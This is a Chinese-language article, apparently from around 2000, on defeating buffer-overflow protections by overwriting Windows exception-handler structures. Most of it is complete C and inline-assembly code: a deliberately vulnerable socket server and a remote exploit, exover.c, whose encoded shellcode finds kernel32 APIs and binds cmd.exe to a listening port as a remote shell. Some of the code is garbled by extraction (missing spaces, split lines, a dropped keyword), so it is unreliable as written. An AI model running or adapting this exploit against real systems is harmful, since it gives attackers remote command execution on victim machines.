像溢出攻击，虽然已经是发展了那么多年了，但其shellcode编写也差不多是那么
一个模式。写出汇编，编译，得到二进制代码，修改汇编，编译，再得到二进制代码，
最后用\xaa\xbb的形式把二进制代码写到攻击程序里面。这在unix等下面一般
shellcode要求比较简单，那还勉强过得去，但如果应用限制，shellcode代码不能包含
一些特殊字符那又是一个麻烦的调试、修改过程。还有溢出攻击的溢出点、怎么跳到
shellcode，虽然unix下面已经比较多的办法了，但感觉也没怎么统一的考虑过，很多
人也没有去理解溢出攻击。还有溢出过程形参被覆盖后不能返回的情况，也没怎么仔细
考虑。

　　个人的理解溢出攻击只是通过外部条进改变了程序原来流程，而考虑改变程序流程
的办法就不只是溢出了，溢出攻击只是一个比较容易让程序流程改变并且按我们意愿运
行的比较方便的办法，还有一些边界条进，函数指针等都可能引起程序流程改变。像缓
冲溢出覆盖形式参数不能返回的问题，我们攻击是改变的程序流程，这个流程方向不能
返回了，那到底有别的流程没有？就可以考虑程序流程的别的线。这点unix下面有信号
机制，WINDOWS下面也有异常结构处理，这些都是程序运行的另一个隐蔽的流程。想到
这了就可以有解决办法了。
　　其实UNIX等下面发展的比较好的一些保护缓冲溢出的办法很多也相应有了一些破解
思路。像堆栈里面加上随机数等的办法，就是检测溢出后不让其返回到溢出代码，这与
形参被覆盖不能返回不就是一样的吗。这在windows下面就很好的可以绕过了，UNIX没
有具体看代码，还没有实现细节。

 下面程序有溢出，但因为检测了变量j,发现有溢出就提示后退出，用于模拟一些溢
出保护或者因形参被覆盖不能返回的情况。对于这个程序我们一般的溢出攻击就不能成
功。

/*
利用异常结构绕过溢出保护攻击的有问题的例子程序except.c。
vc6.0下编译。
yuange@nsfocus.com

*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  int  j;
  char *str;
  char buff1[0x0f80];
  char buff2[0x1000];
  struct sockaddr_ins_in;
  struct sockaddraddr;
  SOCKETfd ,fd1;
  u_short  port;
  intresult,i,recvbytes;
  WSADATA  wsaData;

  result = WSAStartup(MAKEWORD(1, 1), &wsaData);
  if (result != 0) {
  printf("\n SOCKET err!\n ");
  exit(1);
  }
  j=0;
  str=argv[0];
  if(argc>1) port=atoi(argv[1]);
  else port=1080;
  fd = socket(AF_INET, SOCK_STREAM,0);
  s_in.sin_family = AF_INET;
  s_in.sin_port = htons(port);
  s_in.sin_addr.s_addr = 0;

  bind(fd,&s_in,sizeof(s_in));
  listen(fd,10);

  i=sizeof(addr);
  fd1=accept(fd,&addr,&i);

  recvbytes=recv(fd1,buff2,0x1000,0);
  if(recvbytes>0){
  buff2[recvbytes]=0;
  buff2[0x1000-1]=0;
printf("\n recv 0x%x bytes \n",recvbytes);
strcpy(buff1,buff2);
  printf("\n the program %s recv :\n %s \n ",argv[0],buff2);
  }
  closesocket(fd1);
  closesocket(fd);
  WSACleanup( );

  if(j!=0){
/*
溢出后会覆盖j，被检测到，这就相当于一些溢出保护
*/
 printf("\n the program %s buffover err !",argv[0]);
/*
这儿溢出后可能因为argv[0]被覆盖，而发生异常，
具体环境这代码可能在前面。
这就相当于形参被破坏。
*/
exit(1);
  }

}


下面是攻击程序：


/*
利用异常结构绕过溢出保护攻击的攻击程序exover.c。
上面程序运行在win2000下此攻击程序溢出成功。
vc6.0下编译通过。
yuange@nsfocus.com
*/


/*
  except overflow program ver 1.0
  copy by yuange <yuange@163.net>  2000。06。20
*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

#define  FNENDLONG  0x08
#define  NOPCODE0x90
#define  NOPLONG 0x20
#define  BUFFSIZE0x20000
#define  RETEIPADDRESS 0x0
#define  SHELLPORT  0x1f90
/* 0x1f90=8080 */
#define  WEBPORT 1080

void  shellcodefnlock();
void  shellcodefn();

void  cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char **argv)
{ 
  char *server;
  char *str="\x1f\x90""LoadLibraryA""\x0""CreatePipe""\x0"
 "CreateProcessA""\x0""CloseHandle""\x0"
 "PeekNamedPipe""\x0"
 "ReadFile""\x0""WriteFile""\x0"
 "wsock32.dll""\x0""socket""\x0"
 "bind""\x0""listen""\x0"
 "accept""\x0""send""\x0"
 "recv""\x0""ioctlsocket""\x0"
 "closesocket""\x0"
 "cmd.exe""\x0""exit\x0d\x0a""\x0"
 "strend";
/*  shellcode用到的api名等字符串 */

  char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  char  eipwinnt[]="\x63\x0d\xfa\x7f";
/*jmp ebx  address */
/* 
win2000发生异常时ebx指向异常结构，
winnt 有的版本是esi,有的版本是edi
*/
  char  JMPNEXTJMP[]="\x90\x90\x90\x2d";
/* 
0x2d  sub eax,num32 
用于平衡后面的4字节任意代码，使得连续覆盖溢出点的这段代码指令等效于NOP
*/
  char  JMPSHELL[]="\xe9\x40\xf0\xff\xff";
  
  char buff[BUFFSIZE];
  char recvbuff[BUFFSIZE];
  char shellcodebuff[0x1000];
  struct  sockaddr_in s_in2,s_in3;
  struct  hostent *he;
  char *shellcodefnadd,*chkespadd;
  unsigned  int sendpacketlong;
  int i,j,k;
  unsigned  char temp;
  int  fd;
  u_short port,port1,shellcod
eport;
  SOCKET  d_ip;
  WSADATA wsaData;
  int offset=0;
  int OVERADD=RETEIPADDRESS;
  int OVERADD2=0xfb8;
  int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
  if (result != 0) {
  fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
  exit(1);
}

  if(argc>3)  port=atoi(argv[3]);
  else  port=WEBPORT;

  if(argc <2){
 WSACleanup( );
 fprintf(stderr, "\n except over 1.0.");
 fprintf(stderr, "\n copy by yuange 2000.06.20.");
 fprintf(stderr, "\n welcome to my homepage http://yuange.yeah.net
.");
fprintf(stderr, "\n usage: %s <server> [shellport] [webport] \n", argv[0]);
 exit(1);
  }
  else  server = argv[1];
  d_ip = inet_addr(server);
  if(d_ip==-1){
  he = gethostbyname(server);
  if(!he)
  {
 WSACleanup( );
 printf("\n Can't get the ip of %s !\n",server);
 exit(1);
  }
  else memcpy(&d_ip, he->h_addr, 4);
  }

  fd = socket(AF_INET, SOCK_STREAM,0);
  i=8000;
  setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));

  s_in3.sin_family = AF_INET;
  s_in3.sin_port = htons(port);
  s_in3.sin_addr.s_addr = d_ip;
  printf("\n nuke ip: %s port
%d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));

if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)


  closesocket(fd);
  WSACleanup( );
  fprintf(stderr,"\n  connect err.");
  exit(1);
}

  _asm{
mov ESI,ESP
cmp ESI,ESP
  }
  _chkesp();
  chkespadd=_chkesp;
  temp=*chkespadd;
  if(temp==0xe9) {
++chkespadd;
 i=*(int*)chkespadd;
chkespadd+=i;
chkespadd+=4;
  }

  shellcodefnadd=shellcodefnlock;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
  }

  for(k=0;k<=0x500;++k){
 if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
  }

  memset(buff,NOPCODE,BUFFSIZE);
  memcpy(buff+OVERADD+NOPLONG,shellcodefnadd+k+4,0x80);

  shellcodefnadd=shellcodefn;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
  shellcodefnadd+=k;
shellcodefnadd+=4;
  }


  for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
  }

  memcpy(shellcodebuff,shellcodefnadd,k);
  cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);

(i=0;i<0x400;++i){ 
if(memcmp(str+i,"strend",6)==0) break;
  }  
  memcpy(shellcodebuff+k,str,i);

  if(argc>2)  shellcodeport=atoi(argv[2]);
  else  shellcodeport=SHELLPORT;

  if(shellcodeport==0) shellcodeport=SHELLPORT;
  shellcodeport=htons(shellcodeport);
  *(u_short *)(shellcodebuff+k)=shellcodeport;
  fprintf(stderr,"\n shellport %d",htons(shellcodeport));


  sendpacketlong=k+i;
  for(k=0;k<=0x200;++k){
if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
  }

  for(i=0;i<sendpacketlong;++i){
temp=shellcodebuff[i];
if(temp<=0x10||temp=='0'){
/* 对shellcode的特殊字符编码*/
 buff[OVERADD+NOPLONG+k]='0';
 ++k;
 temp+=0x40;
}
buff[OVERADD+NOPLONG+k]=temp;
++k;
}

  
for(i=-0x30;i<0x20;i+=8){
 memcpy(buff+OVERADD2+i,JMPNEXTJMP,4);
/*
  覆盖异常结构的下一个异常链next数据，发生异常时ebx制向这
  与通常的发生溢出时ESP指向溢出代码附近不一样，发生异常时
  的ESP不在这附近
*/
  memcpy(buff+OVERADD2+i+4,eipwinnt,4);
/* 
覆盖异常结构的程序指针
发生异常时会转到这指针去运行
这覆盖的是一个jmp ebx指令的地址
*/
}
/*
  连续覆盖，增大覆盖掉异常结构的可能性 
*/
memcpy(buff+OVERADD2+8,JMPSHELL,5);
/*
  跳到shellcode去的跳转代码，远跳转。
*/
  sendpacketlong=0x1000-0x10;

  for(i=0;i<1;++i){ 
  j=sendpacketlong;
  fprintf(stderr,"\n send  packet %d bytes.",j);
  send(fd,buff,j,0);
  k=recv(fd,recvbuff,0x1000,0);
  if(k>0){
 recvbuff[k]=0;
 fprintf(stderr,"\n  recv:\n %s",recvbuff);
  }
  }
  closesocket(fd);
  WSACleanup( );
  return(0);
}

void  shellcode
fnlock()
{
 _asm{
  nop
  nop
  nop
  nop
  nop
  nop
  nop
  nop
/* 用于定位下面一小段汇编指令的NOP 串 */
  jmpnext
getediadd: popEDI
  push  EDI
  popESI
  xorecx,ecx
  movcx,0x0fd0
looplock:  lodsb
cmpal,0x30
jnzsto
  lodsb
subal,0x40
sto:  stosb
loop  looplock
jmpshell
next: call  getediadd
/*  解码shellcode */
shell:NOP
  NOP
  NOP
  NOP
  NOP
  NOP
  NOP
  NOP

}
}


/* 真正实现功能的shellcode */
/* 本shellcode实现开端口绑定cmd.exe 的功能 */
void shellcodefn()
{ char  Buff[0x800];
int*except[3];

FARPROC  closesocketadd;
FARPROC  ioctlsocketadd;
FARPROC  recvadd;
  FARPROC  sendadd;
  FARPROC  acceptadd;
  FARPROC  listenadd;
  FARPROC  bindadd;
FARPROC  socketadd;
/*  FARPROC  WSAStartupadd;  */

FARPROC  NOPNOP;

FARPROC  WriteFileadd;
FARPROC  ReadFileadd;
FARPROC  PeekNamedPipeadd;
FARPROC  CloseHandleadd;
FARPROC  CreateProcessadd;
FARPROC  CreatePipeadd;
FARPROC  procloadlib;

FARPROC  apifnadd[1];
FARPROC  procgetadd=0;

char  *stradd;
intimgbase,fnbase,k,l;
HANDLElibhandle;
  STARTUPINFO siinfo;
  SOCKETlistenFD,clientFD;
  structsockaddr_in server;
  intiAddrSize = sizeof(server);
intlBytesRead;
u_short  shellcodeport;

  PROCESS_INFORMATION ProcessInformation;
  HANDLEhReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
  SECURITY_ATTRIBUTES sa;
_asm {  jmp nextcall
getstradd:pop stradd
 lea EDI,except
  mov eax,dword ptr FS:[0]
  mov dword ptr [edi+0x08],eax
  mov dword ptr FS:[0],EDI

}
 except[0]=0xffffffff;
 except[1]=stradd-0x07;

 imgbase=0x77e00000;
 _asm{
 call getexceptretadd
 }
for(;imgbase<0xbffa0000,procgetadd==0;){
  imgbase+=0x10000;
  if(imgbase==0x78000000) imgbase=0xbff00000;
  if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int
*)(imgbase+0x3c))=='EP'){
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
  libhandle=imgbase;
 k=imgbase+*(int *)(fnbase+0x20);
 for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
 if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int
*)k)=='Acor'){
 k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
 k+=*(int *)(fnbase+0x10)-1;
 k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
 procgetadd=k+imgbase;
 break;
  }
  }
}
  }
 }
/*
搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
注意这儿处理了搜索页面不在情况。
*/

  _asm{
  lea edi,except
  mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}


if(procgetadd==0) goto  die ;

shellcodeport=*(u_short *)stradd;
stradd+=2;
for(k=1;k<17;++k) {
if(k==8) libhandle=procloadlib(stradd);
else  apifnadd[k]=procgetadd(libhandle,stradd);
for(;;++stradd){
if(*(stradd)==0&&*(stradd+1)!=0) break;
}
++stradd;
}

/* WSAStartupadd(MAKEWORD(1, 1), &wsaData);  */
 listenFD = socketadd(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 server.sin_family = AF_INET;
 server.sin_port =shellcodeport;
 server.sin_addr.s_addr=0;

 k=1;
while(k!=0){
 k=bindadd(listenFD,&server,sizeof(server));
 server.sin_port+=0x100;
 if(server.sin_port<0x100) ++server.sin_port;
 }
listenadd(listenFD,10);

while(1){

clientFD=acceptadd(listenFD,&server,&iAddrSize);
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;

CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);

/* ZeroMemory(&siinfo,sizeof(siinfo));  */
_asm{
  lea EDI,siinfo
 xor eax,eax
 mov ecx,0x11
 repnz stosd
}
 siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 siinfo.wShowWindow = SW_HIDE;
 siinfo.hStdInput = hReadPipe2;
 siinfo.hStdOutput=hWritePipe1;
 siinfo.hStdError =hWritePipe1;


k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInfor
mation);

 PeekNamedPipeadd(hReadPipe1,Buff,1024,&lBytesRead,0,0);


/*
k=1;
ioctlsocketadd(clientFD, FIONBIO, &k);
*/
/*
  还是阻塞模式比较好，占用CPU时间少，要不下面死掉的时候就老占用CPU，
  造成受攻击系统反应比较慢。
*/
 while(1){
  PeekNamedPipeadd(hReadPipe1,Buff,1024,&lBytesRead,0,0);
  if(lBytesRead>0) {
  ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
  if(lBytesRead>0) sendadd(clientFD,Buff,lBytesRead,0);
  else sendadd(clientFD,stradd,8,0);
  }
 else{
lBytesRead=recvadd(clientFD,Buff,1024,0);
if(lBytesRead<=0){
  lBytesRead=6;
  WriteFileadd(hWritePipe2,stradd+8,lBytesRead,&lBytesRead,0);
  closesocketadd(clientFD);
  break;
/*
TELNET连接中断，退出等到再一次连接
*/}
else{
 sendadd(clientFD,Buff,lBytesRead,0);
/*
 回显，有些TELNET不能设置本地响应会看不到命令输入很不方便。
*/
 WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
  }
}
 }
}




die: goto die  ;
  _asm{

getexceptretadd:pop  eax
push eax
mov  edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
errprogram:  mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344
/* stradd-0xe  */
xor eax,eax
/* 2  bytes */
ret
/* 1  bytes */
execptprogram:  jmp errprogram
/* 2 bytes  stradd-7  */
nextcall: call getstradd
/* 5 bytes */
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}



/*
清除shellcdoe里面的chkesp调用
*/
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{ 
int i,k;
unsigned char temp;
char *calladd;

for(i=0;i<len;++i){
 temp=shellbuff[i];
 if(temp==0xe8){
 k=*(int *)(shellbuff+i+1);
  calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
  shellbuff[i]=0x90;
  shellbuff[i+1]=0x43;// inc ebx
  shellbuff[i+2]=0x4b; // dec ebx
  shellbuff[i+3]=0x43;
  shellbuff[i+4]=0x4b;
 }
  }
}
}